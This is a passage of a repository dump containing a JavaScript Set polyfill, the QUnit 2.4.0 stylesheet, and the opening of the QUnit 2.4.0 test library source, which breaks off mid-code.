================================================ FILE: demos/qunit/polyfill-set.js ================================================ (function(global) { var NaNSymbol = Symbol('NaN'); var encodeVal = function(value) { return value !== value ? NaNSymbol : value; } var decodeVal = function(value) { return (value === NaNSymbol) ? NaN : value; } var makeIterator = function(array, iterator) { var nextIndex = 0; // new Set(new Set()) 会调用这里 var obj = { next: function() { return nextIndex < array.length ? { value: iterator(array[nextIndex++]), done: false } : { value: void 0, done: true }; } }; // [...set.keys()] 会调用这里 obj[Symbol.iterator] = function() { return obj } return obj } function forOf(obj, cb) { let iterable, result; if (typeof obj[Symbol.iterator] !== "function") throw new TypeError(obj + " is not iterable"); if (typeof cb !== "function") throw new TypeError('cb must be callable'); iterable = obj[Symbol.iterator](); result = iterable.next(); while (!result.done) { cb(result.value); result = iterable.next(); } } function Set(data) { this._values = []; this.size = 0; if (data) { forOf(data, (item) => { this.add(item); }) } } Set.prototype['add'] = function(value) { value = encodeVal(value); if (this._values.indexOf(value) == -1) { this._values.push(value); ++this.size; } return this; } Set.prototype['has'] = function(value) { return (this._values.indexOf(encodeVal(value)) !== -1); } Set.prototype['delete'] = function(value) { var idx = this._values.indexOf(encodeVal(value)); if (idx == -1) return false; this._values.splice(idx, 1); --this.size; return true; } Set.prototype['clear'] = function(value) { this._values = []; this.size = 0; } Set.prototype['forEach'] = function(callbackFn, thisArg) { thisArg = thisArg || global; for (var i = 0; i < this._values.length; i++) { callbackFn.call(thisArg, this._values[i], this._values[i], this); } } Set.prototype['values'] = Set.prototype['keys'] = function() { return makeIterator(this._values, function(value) { return decodeVal(value); }); } Set.prototype['entries'] = function() { return makeIterator(this._values, function(value) { return [decodeVal(value), decodeVal(value)]; }); } Set.prototype[Symbol.iterator] = function(){ return this.values(); } Set.prototype['forEach'] = function(callbackFn, thisArg) { thisArg = thisArg || global; var iterator = this.entries(); forOf(iterator, (item) => { callbackFn.call(thisArg, item[1], item[0], this); }) } Set.length = 0; global.Set = Set; })(this); ================================================ FILE: demos/qunit/qunit-2.4.0.css ================================================ /*! * QUnit 2.4.0 * https://qunitjs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2017-07-08T15:20Z */ /** Font Family and Sizes */ #qunit-tests, #qunit-header, #qunit-banner, #qunit-testrunner-toolbar, #qunit-filteredTest, #qunit-userAgent, #qunit-testresult { font-family: "Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial, sans-serif; } #qunit-testrunner-toolbar, #qunit-filteredTest, #qunit-userAgent, #qunit-testresult, #qunit-tests li { font-size: small; } #qunit-tests { font-size: smaller; } /** Resets */ #qunit-tests, #qunit-header, #qunit-banner, #qunit-filteredTest, #qunit-userAgent, #qunit-testresult, #qunit-modulefilter { margin: 0; padding: 0; } /** Header (excluding toolbar) */ #qunit-header { padding: 0.5em 0 0.5em 1em; color: #8699A4; background-color: #0D3349; font-size: 1.5em; line-height: 1em; font-weight: 400; border-radius: 5px 5px 0 0; } #qunit-header a { text-decoration: none; color: #C2CCD1; } #qunit-header a:hover, #qunit-header a:focus { color: #FFF; } #qunit-banner { height: 5px; } #qunit-filteredTest { padding: 0.5em 1em 0.5em 1em; color: #366097; background-color: #F4FF77; } #qunit-userAgent { padding: 0.5em 1em 0.5em 1em; color: #FFF; background-color: #2B81AF; text-shadow: rgba(0, 0, 0, 0.5) 2px 2px 1px; } /** Toolbar */ #qunit-testrunner-toolbar { padding: 0.5em 1em 0.5em 1em; color: #5E740B; background-color: #EEE; } #qunit-testrunner-toolbar .clearfix { height: 0; clear: both; } #qunit-testrunner-toolbar label { display: inline-block; } #qunit-testrunner-toolbar input[type=checkbox], #qunit-testrunner-toolbar input[type=radio] { margin: 3px; vertical-align: -2px; } #qunit-testrunner-toolbar input[type=text] { box-sizing: border-box; height: 1.6em; } .qunit-url-config, .qunit-filter, #qunit-modulefilter { display: inline-block; line-height: 2.1em; } .qunit-filter, #qunit-modulefilter { float: right; position: relative; margin-left: 1em; } .qunit-url-config label { margin-right: 0.5em; } #qunit-modulefilter-search { box-sizing: border-box; width: 400px; } #qunit-modulefilter-search-container:after { position: absolute; right: 0.3em; content: "\25bc"; color: black; } #qunit-modulefilter-dropdown { /* align with #qunit-modulefilter-search */ box-sizing: border-box; width: 400px; position: absolute; right: 0; top: 50%; margin-top: 0.8em; border: 1px solid #D3D3D3; border-top: none; border-radius: 0 0 .25em .25em; color: #000; background-color: #F5F5F5; z-index: 99; } #qunit-modulefilter-dropdown a { color: inherit; text-decoration: none; } #qunit-modulefilter-dropdown .clickable.checked { font-weight: bold; color: #000; background-color: #D2E0E6; } #qunit-modulefilter-dropdown .clickable:hover { color: #FFF; background-color: #0D3349; } #qunit-modulefilter-actions { display: block; overflow: auto; /* align with #qunit-modulefilter-dropdown-list */ font: smaller/1.5em sans-serif; } #qunit-modulefilter-dropdown #qunit-modulefilter-actions > * { box-sizing: border-box; max-height: 2.8em; display: block; padding: 0.4em; } #qunit-modulefilter-dropdown #qunit-modulefilter-actions > button { float: right; font: inherit; } #qunit-modulefilter-dropdown #qunit-modulefilter-actions > :last-child { /* insert padding to align with checkbox margins */ padding-left: 3px; } #qunit-modulefilter-dropdown-list { max-height: 200px; overflow-y: auto; margin: 0; border-top: 2px groove threedhighlight; padding: 0.4em 0 0; font: smaller/1.5em sans-serif; } #qunit-modulefilter-dropdown-list li { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } #qunit-modulefilter-dropdown-list .clickable { display: block; padding-left: 0.15em; } /** Tests: Pass/Fail */ #qunit-tests { list-style-position: inside; } #qunit-tests li { padding: 0.4em 1em 0.4em 1em; border-bottom: 1px solid #FFF; list-style-position: inside; } #qunit-tests > li { display: none; } #qunit-tests li.running, #qunit-tests li.pass, #qunit-tests li.fail, #qunit-tests li.skipped, #qunit-tests li.aborted { display: list-item; } #qunit-tests.hidepass { position: relative; } #qunit-tests.hidepass li.running, #qunit-tests.hidepass li.pass:not(.todo) { visibility: hidden; position: absolute; width: 0; height: 0; padding: 0; border: 0; margin: 0; } #qunit-tests li strong { cursor: pointer; } #qunit-tests li.skipped strong { cursor: default; } #qunit-tests li a { padding: 0.5em; color: #C2CCD1; text-decoration: none; } #qunit-tests li p a { padding: 0.25em; color: #6B6464; } #qunit-tests li a:hover, #qunit-tests li a:focus { color: #000; } #qunit-tests li .runtime { float: right; font-size: smaller; } .qunit-assert-list { margin-top: 0.5em; padding: 0.5em; background-color: #FFF; border-radius: 5px; } .qunit-source { margin: 0.6em 0 0.3em; } .qunit-collapsed { display: none; } #qunit-tests table { border-collapse: collapse; margin-top: 0.2em; } #qunit-tests th { text-align: right; vertical-align: top; padding: 0 0.5em 0 0; } #qunit-tests td { vertical-align: top; } #qunit-tests pre { margin: 0; white-space: pre-wrap; word-wrap: break-word; } #qunit-tests del { color: #374E0C; background-color: #E0F2BE; text-decoration: none; } #qunit-tests ins { color: #500; background-color: #FFCACA; text-decoration: none; } /*** Test Counts */ #qunit-tests b.counts { color: #000; } #qunit-tests b.passed { color: #5E740B; } #qunit-tests b.failed { color: #710909; } #qunit-tests li li { padding: 5px; background-color: #FFF; border-bottom: none; list-style-position: inside; } /*** Passing Styles */ #qunit-tests li li.pass { color: #3C510C; background-color: #FFF; border-left: 10px solid #C6E746; } #qunit-tests .pass { color: #528CE0; background-color: #D2E0E6; } #qunit-tests .pass .test-name { color: #366097; } #qunit-tests .pass .test-actual, #qunit-tests .pass .test-expected { color: #999; } #qunit-banner.qunit-pass { background-color: #C6E746; } /*** Failing Styles */ #qunit-tests li li.fail { color: #710909; background-color: #FFF; border-left: 10px solid #EE5757; white-space: pre; } #qunit-tests > li:last-child { border-radius: 0 0 5px 5px; } #qunit-tests .fail { color: #000; background-color: #EE5757; } #qunit-tests .fail .test-name, #qunit-tests .fail .module-name { color: #000; } #qunit-tests .fail .test-actual { color: #EE5757; } #qunit-tests .fail .test-expected { color: #008000; } #qunit-banner.qunit-fail { background-color: #EE5757; } /*** Aborted tests */ #qunit-tests .aborted { color: #000; background-color: orange; } /*** Skipped tests */ #qunit-tests .skipped { background-color: #EBECE9; } #qunit-tests .qunit-todo-label, #qunit-tests .qunit-skipped-label { background-color: #F4FF77; display: inline-block; font-style: normal; color: #366097; line-height: 1.8em; padding: 0 0.5em; margin: -0.4em 0.4em -0.4em 0; } #qunit-tests .qunit-todo-label { background-color: #EEE; } /** Result */ #qunit-testresult { color: #2B81AF; background-color: #D2E0E6; border-bottom: 1px solid #FFF; } #qunit-testresult .clearfix { height: 0; clear: both; } #qunit-testresult .module-name { font-weight: 700; } #qunit-testresult-display { padding: 0.5em 1em 0.5em 1em; width: 85%; float:left; } #qunit-testresult-controls { padding: 0.5em 1em 0.5em 1em; width: 10%; float:left; } /** Fixture */ #qunit-fixture { position: absolute; top: -10000px; left: -10000px; width: 1000px; height: 1000px; } ================================================ FILE: demos/qunit/qunit-2.4.0.js ================================================ /*! * QUnit 2.4.0 * https://qunitjs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2017-07-08T15:20Z */ (function (global$1) { 'use strict'; global$1 = global$1 && 'default' in global$1 ? global$1['default'] : global$1; var window = global$1.window; var self$1 = global$1.self; var console = global$1.console; var setTimeout = global$1.setTimeout; var clearTimeout = global$1.clearTimeout; var document = window && window.document; var navigator = window && window.navigator; var localSessionStorage = function () { var x = "qunit-test-string"; try { global$1.sessionStorage.setItem(x, x); global$1.sessionStorage.removeItem(x); return global$1.sessionStorage; } catch (e) { return undefined; } }(); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var classCallCheck = function (instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }; var createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var toConsumableArray = function (arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) arr2[i] = arr[i]; return arr2; } else { return Array.from(arr); } }; var toString = Object.prototype.toString; var hasOwn = Object.prototype.hasOwnProperty; var now = Date.now || function () { return new Date().getTime(); }; var defined = { document: window && window.document !== undefined, setTimeout: setTimeout !== undefined }; // Returns a new Array with the elements that are in a but not in b function diff(a, b) { var i, j, result = a.slice(); for (i = 0; i < result.length; i++) { for (j = 0; j < b.length; j++) { if (result[i] === b[j]) { result.splice(i, 1); i--; break; } } } return result; } /** * Determines whether an element exists in a given array or not. * * @method inArray * @param {Any} elem * @param {Array} array * @return {Boolean} */ function inArray(elem, array) { return array.indexOf(elem) !== -1; } /** * Makes a clone of an object using only Array or Object as base, * and copies over the own enumerable properties. * * @param {Object} obj * @return {Object} New object with only the own properties (recursively). */ function objectValues(obj) { var key, val, vals = is("array", obj) ? [] : {}; for (key in obj) { if (hasOwn.call(obj, key)) { val = obj[key]; vals[key] = val === Object(val) ? objectValues(val) : val; } } return vals; } function extend(a, b, undefOnly) { for (var prop in b) { if (hasOwn.call(b, prop)) { if (b[prop] === undefined) { delete a[prop]; } else if (!(undefOnly && typeof a[prop] !== "undefined")) { a[prop] = b[prop]; } } } return a; } function objectType(obj) { if (typeof obj === "undefined") { return "undefined"; } // Consider: typeof null === object if (obj === null) { return "null"; } var match = toString.call(obj).match(/^\[object\s(.*)\]$/), type = match && match[1]; switch (type) { case "Number": if (isNaN(obj)) { return "nan"; } return "number"; case "String": case "Boolean": case "Array": case "Set": case "Map": case "Date": case "RegExp": case "Function": case "Symbol": return type.toLowerCase(); default: return typeof obj === "undefined" ? "undefined" : _typeof(obj); } } // Safe object type checking function is(type, obj) { return objectType(obj) === type; } // Based on Java's String.hashCode, a simple but not // rigorously collision resistant hashing function function generateHash(module, testName) { var str = module + "\x1C" + testName; var hash = 0; for (var i = 0; i < str.length; i++) { hash = (hash << 5) - hash + str.charCodeAt(i); hash |= 0; } // Convert the possibly negative integer hash code into an 8 character hex string, which isn't // strictly necessary but increases user understanding that the id is a SHA-like hash var hex = (0x100000000 + hash).toString(16); if (hex.length < 8) { hex = "0000000" + hex; } return hex.slice(-8); } // Test for equality any JavaScript type. // Authors: Philippe Rathé , David Chan var equiv = (function () { // Value pairs queued for comparison. Used for breadth-first processing order, recursion // detection and avoiding repeated comparison (see below for details). // Elements are { a: val, b: val }. var pairs = []; var getProto = Object.getPrototypeOf || function (obj) { return obj.__proto__; }; function useStrictEquality(a, b) { // This only gets called if a and b are not strict equal, and is used to compare on // the primitive values inside object wrappers. For example: // `var i = 1;` // `var j = new Number(1);` // Neither a nor b can be null, as a !== b and they have the same type. if ((typeof a === "undefined" ? "undefined" : _typeof(a)) === "object") { a = a.valueOf(); } if ((typeof b === "undefined" ? "undefined" : _typeof(b)) === "object") { b = b.valueOf(); } return a === b; } function compareConstructors(a, b) { var protoA = getProto(a); var protoB = getProto(b); // Comparing constructors is more strict than using `instanceof` if (a.constructor === b.constructor) { return true; } // Ref #851 // If the obj prototype descends from a null constructor, treat it // as a null prototype. if (protoA && protoA.constructor === null) { protoA = null; } if (protoB && protoB.constructor === null) { protoB = null; } // Allow objects with no prototype to be equivalent to // objects with Object as their constructor. if (protoA === null && protoB === Object.prototype || protoB === null && protoA === Object.prototype) { return true; } return false; } function getRegExpFlags(regexp) { return "flags" in regexp ? regexp.flags : regexp.toString().match(/[gimuy]*$/)[0]; } function isContainer(val) { return ["object", "array", "map", "set"].indexOf(objectType(val)) !== -1; } function breadthFirstCompareChild(a, b) { // If a is a container not reference-equal to b, postpone the comparison to the // end of the pairs queue -- unless (a, b) has been seen before, in which case skip // over the pair. if (a === b) { return true; } if (!isContainer(a)) { return typeEquiv(a, b); } if (pairs.every(function (pair) { return pair.a !== a || pair.b !== b; })) { // Not yet started comparing this pair pairs.push({ a: a, b: b }); } return true; } var callbacks = { "string": useStrictEquality, "boolean": useStrictEquality, "number": useStrictEquality, "null": useStrictEquality, "undefined": useStrictEquality, "symbol": useStrictEquality, "date": useStrictEquality, "nan": function nan() { return true; }, "regexp": function regexp(a, b) { return a.source === b.source && // Include flags in the comparison getRegExpFlags(a) === getRegExpFlags(b); }, // abort (identical references / instance methods were skipped earlier) "function": function _function() { return false; }, "array": function array(a, b) { var i, len; len = a.length; if (len !== b.length) { // Safe and faster return false; } for (i = 0; i < len; i++) { // Compare non-containers; queue non-reference-equal containers if (!breadthFirstCompareChild(a[i], b[i])) { return false; } } return true; }, // Define sets a and b to be equivalent if for each element aVal in a, there // is some element bVal in b such that aVal and bVal are equivalent. Element // repetitions are not counted, so these are equivalent: // a = new Set( [ {}, [], [] ] ); // b = new Set( [ {}, {}, [] ] ); "set": function set$$1(a, b) { var innerEq, outerEq = true; if (a.size !== b.size) { // This optimization has certain quirks because of the lack of // repetition counting. For instance, adding the same // (reference-identical) element to two equivalent sets can // make them non-equivalent. return false; } a.forEach(function (aVal) { // Short-circuit if the result is already known. (Using for...of // with a break clause would be cleaner here, but it would cause // a syntax error on older Javascript implementations even if // Set is unused) if (!outerEq) { return; } innerEq = false; b.forEach(function (bVal) { var parentPairs; // Likewise, short-circuit if the result is already known if (innerEq) { return; } // Swap out the global pairs list, as the nested call to // innerEquiv will clobber its contents parentPairs = pairs; if (innerEquiv(bVal, aVal)) { innerEq = true; } // Replace the global pairs list pairs = parentPairs; }); if (!innerEq) { outerEq = false; } }); return outerEq; }, // Define maps a and b to be equivalent if for each key-value pair (aKey, aVal) // in a, there is some key-value pair (bKey, bVal) in b such that // [ aKey, aVal ] and [ bKey, bVal ] are equivalent. Key repetitions are not // counted, so these are equivalent: // a = new Map( [ [ {}, 1 ], [ {}, 1 ], [ [], 1 ] ] ); // b = new Map( [ [ {}, 1 ], [ [], 1 ], [ [], 1 ] ] ); "map": function map(a, b) { var innerEq, outerEq = true; if (a.size !== b.size) { // This optimization has certain quirks because of the lack of // repetition counting. For instance, adding the same // (reference-identical) key-value pair to two equivalent maps // can make them non-equivalent. return false; } a.forEach(function (aVal, aKey) { // Short-circuit if the result is already known. (Using for...of // with a break clause would be cleaner here, but it would cause // a syntax error on older Javascript implementations even if // Map is unused) if (!outerEq) { return; } innerEq = false; b.forEach(function (bVal, bKey) { var parentPairs; // Likewise, short-circuit if the result is already known if (innerEq) { return; } // Swap out the global pairs list, as the nested call to // innerEquiv will clobber its contents parentPairs = pairs; if (innerEquiv([bVal, bKey], [aVal, aKey])) { innerEq = true; } // Replace the global pairs list pairs = parentPairs; }); if (!innerEq) { outerEq = false; } }); return outerEq; }, "object": function object(a, b) { var i, aProperties = [], bProperties = []; if (compareConstructors(a, b) === false) { return false; } // Be strict: don't ensure hasOwnProperty and go deep for (i in a) { // Collect a's properties aProperties.push(i); // Skip OOP methods that look the same if (a.constructor !== Object && typeof a.constructor !== "undefined" && typeof a[i] === "function" && typeof b[i] === "function" && a[i].toString() === b[i].toString()) { continue; } // Compare non-containers; queue non-reference-equal containers if (!breadthFirstCompareChild(a[i], b[i])) { return false; } } for (i in b) { // Collect b's properties bProperties.push(i); } // Ensures identical properties name return typeEquiv(aProperties.sort(), bProperties.sort()); } }; function typeEquiv(a, b) { var type = objectType(a); // Callbacks for containers will append to the pairs queue to achieve breadth-first // search order. The pairs queue is also used to avoid reprocessing any pair of // containers that are reference-equal to a previously visited pair (a special case // this being recursion detection). // // Because of this approach, once typeEquiv returns a false value, it should not be // called again without clearing the pair queue else it may wrongly report a visited // pair as being equivalent. return objectType(b) === type && callbacks[type](a, b); } function innerEquiv(a, b) { var i, pair; // We're done when there's nothing more to compare if (arguments.length < 2) { return true; } // Clear the global pair queue and add the top-level values being compared pairs = [{ a: a, b: b }]; for (i = 0; i < pairs.length; i++) { pair = pairs[i]; // Perform type-specific comparison on any pairs that are not strictly // equal. For container types, that comparison will postpone comparison // of any sub-container pair to the end of the pair queue. This gives // breadth-first search order. It also avoids the reprocessing of // reference-equal siblings, cousins etc, which can have a significant speed // impact when comparing a container of small objects each of which has a // reference to the same (singleton) large object. if (pair.a !== pair.b && !typeEquiv(pair.a, pair.b)) { return false; } } // ...across all consecutive argument pairs return arguments.length === 2 || innerEquiv.apply(this, [].slice.call(arguments, 1)); } return function () { var result = innerEquiv.apply(undefined, arguments); // Release any retained objects pairs.length = 0; return result; }; })(); /** * Config object: Maintain internal state * Later exposed as QUnit.config * `config` initialized at top of scope */ var config = { // The queue of tests to run queue: [], // Block until document ready blocking: true, // By default, run previously failed tests first // very useful in combination with "Hide passed tests" checked reorder: true, // By default, modify document.title when suite is done altertitle: true, // HTML Reporter: collapse every test except the first failing test // If false, all failing tests will be expanded collapse: true, // By default, scroll to top of the page when suite is done scrolltop: true, // Depth up-to which object will be dumped maxDepth: 5, // When enabled, all tests must call expect() requireExpects: false, // Placeholder for user-configurable form-exposed URL parameters urlConfig: [], // Set of all modules. modules: [], // The first unnamed module currentModule: { name: "", tests: [], childModules: [], testsRun: 0, unskippedTestsRun: 0, hooks: { before: [], beforeEach: [], afterEach: [], after: [] } }, callbacks: {}, // The storage module to use for reordering tests storage: localSessionStorage }; // take a predefined QUnit.config and extend the defaults var globalConfig = window && window.QUnit && window.QUnit.config; // only extend the global config if there is no QUnit overload if (window && window.QUnit && !window.QUnit.version) { extend(config, globalConfig); } // Push a loose unnamed module to the modules collection config.modules.push(config.currentModule); // Based on jsDump by Ariel Flesler // http://flesler.blogspot.com/2008/05/jsdump-pretty-dump-of-any-javascript.html var dump = (function () { function quote(str) { return "\"" + str.toString().replace(/\\/g, "\\\\").replace(/"/g, "\\\"") + "\""; } function literal(o) { return o + ""; } function join(pre, arr, post) { var s = dump.separator(), base = dump.indent(), inner = dump.indent(1); if (arr.join) { arr = arr.join("," + s + inner); } if (!arr) { return pre + post; } return [pre, inner + arr, base + post].join(s); } function array(arr, stack) { var i = arr.length, ret = new Array(i); if (dump.maxDepth && dump.depth > dump.maxDepth) { return "[object Array]"; } this.up(); while (i--) { ret[i] = this.parse(arr[i], undefined, stack); } this.down(); return join("[", ret, "]"); } function isArray(obj) { return ( //Native Arrays toString.call(obj) === "[object Array]" || // NodeList objects typeof obj.length === "number" && obj.item !== undefined && (obj.length ? obj.item(0) === obj[0] : obj.item(0) === null && obj[0] === undefined) ); } var reName = /^function (\w+)/, dump = { // The objType is used mostly internally, you can fix a (custom) type in advance parse: function parse(obj, objType, stack) { stack = stack || []; var res, parser, parserType, objIndex = stack.indexOf(obj); if (objIndex !== -1) { return "recursion(" + (objIndex - stack.length) + ")"; } objType = objType || this.typeOf(obj); parser = this.parsers[objType]; parserType = typeof parser === "undefined" ? "undefined" : _typeof(parser); if (parserType === "function") { stack.push(obj); res = parser.call(this, obj, stack); stack.pop(); return res; } return parserType === "string" ? parser : this.parsers.error; }, typeOf: function typeOf(obj) { var type; if (obj === null) { type = "null"; } else if (typeof obj === "undefined") { type = "undefined"; } else if (is("regexp", obj)) { type = "regexp"; } else if (is("date", obj)) { type = "date"; } else if (is("function", obj)) { type = "function"; } else if (obj.setInterval !== undefined && obj.document !== undefined && obj.nodeType === undefined) { type = "window"; } else if (obj.nodeType === 9) { type = "document"; } else if (obj.nodeType) { type = "node"; } else if (isArray(obj)) { type = "array"; } else if (obj.constructor === Error.prototype.constructor) { type = "error"; } else { type = typeof obj === "undefined" ? "undefined" : _typeof(obj); } return type; }, separator: function separator() { if (this.multiline) { return this.HTML ? "
" : "\n"; } else { return this.HTML ? " " : " "; } }, // Extra can be a number, shortcut for increasing-calling-decreasing indent: function indent(extra) { if (!this.multiline) { return ""; } var chr = this.indentChar; if (this.HTML) { chr = chr.replace(/\t/g, " ").replace(/ /g, " "); } return new Array(this.depth + (extra || 0)).join(chr); }, up: function up(a) { this.depth += a || 1; }, down: function down(a) { this.depth -= a || 1; }, setParser: function setParser(name, parser) { this.parsers[name] = parser; }, // The next 3 are exposed so you can use them quote: quote, literal: literal, join: join, depth: 1, maxDepth: config.maxDepth, // This is the list of parsers, to modify them, use dump.setParser parsers: { window: "[Window]", document: "[Document]", error: function error(_error) { return "Error(\"" + _error.message + "\")"; }, unknown: "[Unknown]", "null": "null", "undefined": "undefined", "function": function _function(fn) { var ret = "function", // Functions never have name in IE name = "name" in fn ? fn.name : (reName.exec(fn) || [])[1]; if (name) { ret += " " + name; } ret += "("; ret = [ret, dump.parse(fn, "functionArgs"), "){"].join(""); return join(ret, dump.parse(fn, "functionCode"), "}"); }, array: array, nodelist: array, "arguments": array, object: function object(map, stack) { var keys, key, val, i, nonEnumerableProperties, ret = []; if (dump.maxDepth && dump.depth > dump.maxDepth) { return "[object Object]"; } dump.up(); keys = []; for (key in map) { keys.push(key); } // Some properties are not always enumerable on Error objects. nonEnumerableProperties = ["message", "name"]; for (i in nonEnumerableProperties) { key = nonEnumerableProperties[i]; if (key in map && !inArray(key, keys)) { keys.push(key); } } keys.sort(); for (i = 0; i < keys.length; i++) { key = keys[i]; val = map[key]; ret.push(dump.parse(key, "key") + ": " + dump.parse(val, undefined, stack)); } dump.down(); return join("{", ret, "}"); }, node: function node(_node) { var len, i, val, open = dump.HTML ? "<" : "<", close = dump.HTML ? ">" : ">", tag = _node.nodeName.toLowerCase(), ret = open + tag, attrs = _node.attributes; if (attrs) { for (i = 0, len = attrs.length; i < len; i++) { val = attrs[i].nodeValue; // IE6 includes all attributes in .attributes, even ones not explicitly // set. Those have values like undefined, null, 0, false, "" or // "inherit". if (val && val !== "inherit") { ret += " " + attrs[i].nodeName + "=" + dump.parse(val, "attribute"); } } } ret += close; // Show content of TextNode or CDATASection if (_node.nodeType === 3 || _node.nodeType === 4) { ret += _node.nodeValue; } return ret + open + "/" + tag + close; }, // Function calls it internally, it's the arguments part of the function functionArgs: function functionArgs(fn) { var args, l = fn.length; if (!l) { return ""; } args = new Array(l); while (l--) { // 97 is 'a' args[l] = String.fromCharCode(97 + l); } return " " + args.join(", ") + " "; }, // Object calls it internally, the key part of an item in a map key: quote, // Function calls it internally, it's the content of the function functionCode: "[code]", // Node calls it internally, it's a html attribute value attribute: quote, string: quote, date: quote, regexp: literal, number: literal, "boolean": literal, symbol: function symbol(sym) { return sym.toString(); } }, // If true, entities are escaped ( <, >, \t, space and \n ) HTML: false, // Indentation unit indentChar: " ", // If true, items in a collection, are separated by a \n, else just a space. multiline: true }; return dump; })(); var LISTENERS = Object.create(null); var SUPPORTED_EVENTS = ["runStart", "suiteStart", "testStart", "assertion", "testEnd", "suiteEnd", "runEnd"]; /** * Emits an event with the specified data to all currently registered listeners. * Callbacks will fire in the order in which they are registered (FIFO). This * function is not exposed publicly; it is used by QUnit internals to emit * logging events. * * @private * @method emit * @param {String} eventName * @param {Object} data * @return {Void} */ function emit(eventName, data) { if (objectType(eventName) !== "string") { throw new TypeError("eventName must be a string when emitting an event"); } // Clone the callbacks in case one of them registers a new callback var originalCallbacks = LISTENERS[eventName]; var callbacks = originalCallbacks ? [].concat(toConsumableArray(originalCallbacks)) : []; for (var i = 0; i < callbacks.length; i++) { callbacks[i](data); } } /** * Registers a callback as a listener to the specified event. * * @public * @method on * @param {String} eventName * @param {Function} callback * @return {Void} */ function on(eventName, callback) { if (objectType(eventName) !== "string") { throw new TypeError("eventName must be a string when registering a listener"); } else if (!inArray(eventName, SUPPORTED_EVENTS)) { var events = SUPPORTED_EVENTS.join(", "); throw new Error("\"" + eventName + "\" is not a valid event; must be one of: " + events + "."); } else if (objectType(callback) !== "function") { throw new TypeError("callback must be a function when registering a listener"); } if (!LISTENERS[eventName]) { LISTENERS[eventName] = []; } // Don't register the same callback more than once if (!inArray(callback, LISTENERS[eventName])) { LISTENERS[eventName].push(callback); } } // Register logging callbacks function registerLoggingCallbacks(obj) { var i, l, key, callbackNames = ["begin", "done", "log", "testStart", "testDone", "moduleStart", "moduleDone"]; function registerLoggingCallback(key) { var loggingCallback = function loggingCallback(callback) { if (objectType(callback) !== "function") { throw new Error("QUnit logging methods require a callback function as their first parameters."); } config.callbacks[key].push(callback); }; return loggingCallback; } for (i = 0, l = callbackNames.length; i < l; i++) { key = callbackNames[i]; // Initialize key collection of logging callback if (objectType(config.callbacks[key]) === "undefined") { config.callbacks[key] = []; } obj[key] = registerLoggingCallback(key); } } function runLoggingCallbacks(key, args) { var i, l, callbacks; callbacks = config.callbacks[key]; for (i = 0, l = callbacks.length; i < l; i++) { callbacks[i](args); } } // Doesn't support IE9, it will return undefined on these browsers // See also https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Error/Stack var fileName = (sourceFromStacktrace(0) || "").replace(/(:\d+)+\)?/, "").replace(/.+\//, ""); function extractStacktrace(e, offset) { offset = offset === undefined ? 4 : offset; var stack, include, i; if (e && e.stack) { stack = e.stack.split("\n"); if (/^error$/i.test(stack[0])) { stack.shift(); } if (fileName) { include = []; for (i = offset; i < stack.length; i++) { if (stack[i].indexOf(fileName) !== -1) { break; } include.push(stack[i]); } if (include.length) { return include.join("\n"); } } return stack[offset]; } } function sourceFromStacktrace(offset) { var error = new Error(); // Support: Safari <=7 only, IE <=10 - 11 only // Not all browsers generate the `stack` property for `new Error()`, see also #636 if (!error.stack) { try { throw error; } catch (err) { error = err; } } return extractStacktrace(error, offset); } var priorityCount = 0; var unitSampler = void 0; /** * Advances the ProcessingQueue to the next item if it is ready. * @param {Boolean} last */ function advance() { var start = now(); config.depth = (config.depth || 0) + 1; while (config.queue.length && !config.blocking) { var elapsedTime = now() - start; if (!defined.setTimeout || config.updateRate <= 0 || elapsedTime < config.updateRate) { if (priorityCount > 0) { priorityCount--; } config.queue.shift()(); } else { setTimeout(advance, 13); break; } } config.depth--; if (!config.blocking && !config.queue.length && config.depth === 0) { done(); } } function addToQueueImmediate(callback) { if (objectType(callback) === "array") { while (callback.length) { addToQueueImmediate(callback.pop()); } return; } config.queue.unshift(callback); priorityCount++; } /** * Adds a function to the ProcessingQueue for execution. * @param {Function|Array} callback * @param {Boolean} priority * @param {String} seed */ function addToQueue(callback, prioritize, seed) { if (prioritize) { config.queue.splice(priorityCount++, 0, callback); } else if (seed) { if (!unitSampler) { unitSampler = unitSamplerGenerator(seed); } // Insert into a random position after all prioritized items var index = Math.floor(unitSampler() * (config.queue.length - priorityCount + 1)); config.queue.splice(priorityCount + index, 0, callback); } else { config.queue.push(callback); } } /** * Creates a seeded "sample" generator which is used for randomizing tests. */ function unitSamplerGenerator(seed) { // 32-bit xorshift, requires only a nonzero seed // http://excamera.com/sphinx/article-xorshift.html var sample = parseInt(generateHash(seed), 16) || -1; return function () { sample ^= sample << 13; sample ^= sample >>> 17; sample ^= sample << 5; // ECMAScript has no unsigned number type if (sample < 0) { sample += 0x100000000; } return sample / 0x100000000; }; } /** * This function is called when the ProcessingQueue is done processing all * items. It handles emitting the final run events. */ function done() { var storage = config.storage; ProcessingQueue.finished = true; var runtime = now() - config.started; var passed = config.stats.all - config.stats.bad; emit("runEnd", globalSuite.end(true)); runLoggingCallbacks("done", { passed: passed, failed: config.stats.bad, total: config.stats.all, runtime: runtime }); // Clear own storage items if all tests passed if (storage && config.stats.bad === 0) { for (var i = storage.length - 1; i >= 0; i--) { var key = storage.key(i); if (key.indexOf("qunit-test-") === 0) { storage.removeItem(key); } } } } var ProcessingQueue = { finished: false, add: addToQueue, addImmediate: addToQueueImmediate, advance: advance }; var TestReport = function () { function TestReport(name, suite, options) { classCallCheck(this, TestReport); this.name = name; this.suiteName = suite.name; 